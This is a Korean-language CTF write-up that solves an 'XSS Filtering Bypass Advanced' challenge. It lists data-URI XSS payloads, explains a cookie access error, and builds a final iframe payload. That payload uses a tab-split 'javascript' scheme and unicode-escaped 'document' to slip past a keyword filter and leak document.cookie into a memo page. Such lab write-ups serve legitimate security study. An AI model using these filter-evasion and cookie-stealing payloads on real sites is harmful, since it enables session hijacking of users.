XSS Filtering Bypass Advanced


  • app.py 파일을 보면 xss_filter 함수를 확인할 수 있는데요,
  • _filter, advanced_filter 2가지 리스트를 사용해서 XSS 페이로드를 필터링하고 있습니다.

  • XSS 구문 필터링을 우회하기 위해서는, 아래와 같은 방법을 사용해볼 수 있다.
    • /vuln?param=<object%20data=%27data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==%27%3E%3C/object%3E
<script src="data:;base64,YWxlcnQoMSk="></script>
<iframe src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+"></iframe>
<object data='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+'></object>
<embed src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+"></embed>
<form action="data:text/html;charset=utf-8,%3cbr%3e"><input type='submit'></form>
<a href="data:text/html;,<br>">x</a>
<meta HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCg0NSk8L3NjcmlwdD4=">

  • Data URI를 이용하여 Base64로 인코딩 된 값을 불러올 때, 아래 값을 삽입해봤다.
    • <script>window.open('/memo?memo=' + document.cookie);</script>

  • Failed to read the 'cookie' property from 'Document' 오류가 발생했다.
    • 이는 브라우저에서만 쿠키 접근이 가능하도록 “HttpOnly” 설정이 되어있거나, 보안 제약 때문이거나, CORS 제한 정책에 의해 동일한 출처에서만 자원을 공유하도록 설정되었을 가능성이 있다고 한다.
    • (콘솔창에 alert(document.cookie)를 띄워보면 정상 실행되므로 HttpOnly 설정은 아니고)
    • (도큐먼트 객체로부터 쿠키(cookie) 속성 값을 읽지 못한다는 정보와 쿠키는 data URL 스킴으로 사용이 불가능 하다는 오류 메시지를 토대로, 이는 CORS 관련 오류임을 알 수 있다.)
  • URL 안에서 돌아가는 페이지는 쿠키를 아예 못 쓰게 막혀 있어서, document.cookie를 읽으려고 하면 SecurityError가 발생하는 것이다.

  • 음.. 그럼 data URL Scheme을 사용하지 않고 어떻게 익스플로잇이 가능할까?
  • 브라우저에서는 URL에 대한 정규화 기능을 제공한다고 한다. 정규화 기능을 짧게 설명하면 URL에 필요하거나 불필요한 정보를 자체적으로 판단해서 추가하거나 삭제해주는 기능이다.
<br>
  • 이를 이용하여 아래처럼 javascript 문자열 사이에 탭(%09) 문자를 입력하면 서버의 필터링 로직을 우회하여 삽입한 XSS 페이로드를 실행할 수 있다.

- 플래그 값을 출력하기 위해서는 /flag 경로로 POST 요청을 보낼 때, 쿠키 값에 저장된 플래그를 출력해야 한다. 따라서, document.cookie 는 반드시 사용해야 하는 값이다. - 하지만 현재 `document` 문자는 XSS 필터링 문자열에 속한 상태이기 때문에 아래와 같이 요청을 보내면 서버에서 이를 필터링하여 "filtered!!!" 응답을 반환한다. - document > docum%65nt 와 같이 URL 인코딩을 진행해도 결과가 동일한 이유는 브라우저에서 최종적으로 서버에 요청을 보낼 때는 URL 인코딩 된 값이 디코딩되어 전달되기 때문이다. ![[C9X8S7D6A5ST6WA9-nb87sdf7890s760sfd89-20251123183306201.png]]
  • 그렇다면 이를 어떻게 우회할 수 있을까?
  • 자바스크립트에서는 유니코드로 구성된 문자열을 자동으로 디코딩 해주는 기능을 제공하고 있다. 아래와 같이 document 문자열을 docum\u0065nt 와 같이 유니코드 인코딩하여 서버로 전달하면, 서버에서는 디코딩이 진행되지 않기 때문에 전달한 값 그대로 인식하여 처리한다.
  • 이후 이 값이 브라우저로 반환될 때는, 자바스크립트 특성에 의해 유니코드 값이 디코딩 된 후에 브라우저에 렌더링 되므로 XSS Payload 필터링을 우회하여 클라이언트 측에서 실행할 수 있다.

EXPLOIT

  • 아래와 같은 XSS 구문을 삽입하여 /memo 경로에 플래그가 출력되도록 유도한다.
  • <iframe src="javas cript:locati\u006Fn=%27/memo?memo='+docum\u0065nt.cookie">

  • /flag 경로에 요청을 보낼 때 javas%09cript가 아니라, javas cript 형태로 입력하는 이유는 /flag 경로로 POST 요청을 보낼 때는 urllib.parse.quote(param) 함수가 사용되어 입력되는 값이 달라지기 때문이다. 탭 문자(%09)가 서버로 전달될 때 자동으로 URL 인코딩되어서 %2509 형태로 전달되기 때문에 urllib.parse.quote(param) 함수로 들어가면 이중 인코딩되어 %25%2509가 된다.
  • 이를 방지하기 위해서는 브라우저에서 탭 문자를 javas cript 형태로 직접 입력해서 전달하거나, 프록시 도구에서 요청 패킷에 전달되는 값을 “javas%09cript”로 수정해서 전달해주면 된다.
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib.request
>>> import urllib.parse
>>> import urllib.error
 
>>> unicode_to_url = urllib.parse.quote(string='%3Ciframe+src%3D%22javas%2509cript%3Alocati%5Cu006Fn%3D%2527%2Fmemo%3Fmemo%3D%27%2Bdocum%5Cu0065nt.cookie%22%3E')
>>> unicode_to_url
'%253Ciframe%2Bsrc%253D%2522javas%252509cript%253Alocati%255Cu006Fn%253D%252527%252Fmemo%253Fmemo%253D%2527%252Bdocum%255Cu0065nt.cookie%2522%253E'
 
>>> unicode_to_url = urllib.parse.quote(string='%3Ciframe+src%3D%22javas%09cript%3Alocati%5Cu006Fn%3D%2527%2Fmemo%3Fmemo%3D%27%2Bdocum%5Cu0065nt.cookie%22%3E')
>>> unicode_to_url
'%253Ciframe%2Bsrc%253D%2522javas%2509cript%253Alocati%255Cu006Fn%253D%252527%252Fmemo%253Fmemo%253D%2527%252Bdocum%255Cu0065nt.cookie%2522%253E'

  • /memo 경로로 접속하면 메모장에 저장된 플래그를 확인할 수 있다.

🐛.. 🐛.. 🐛..


REFERENCE

  1. https://www.hahwul.com/cullinan/attack/xss/
  2. https://lonelynova.tistory.com/239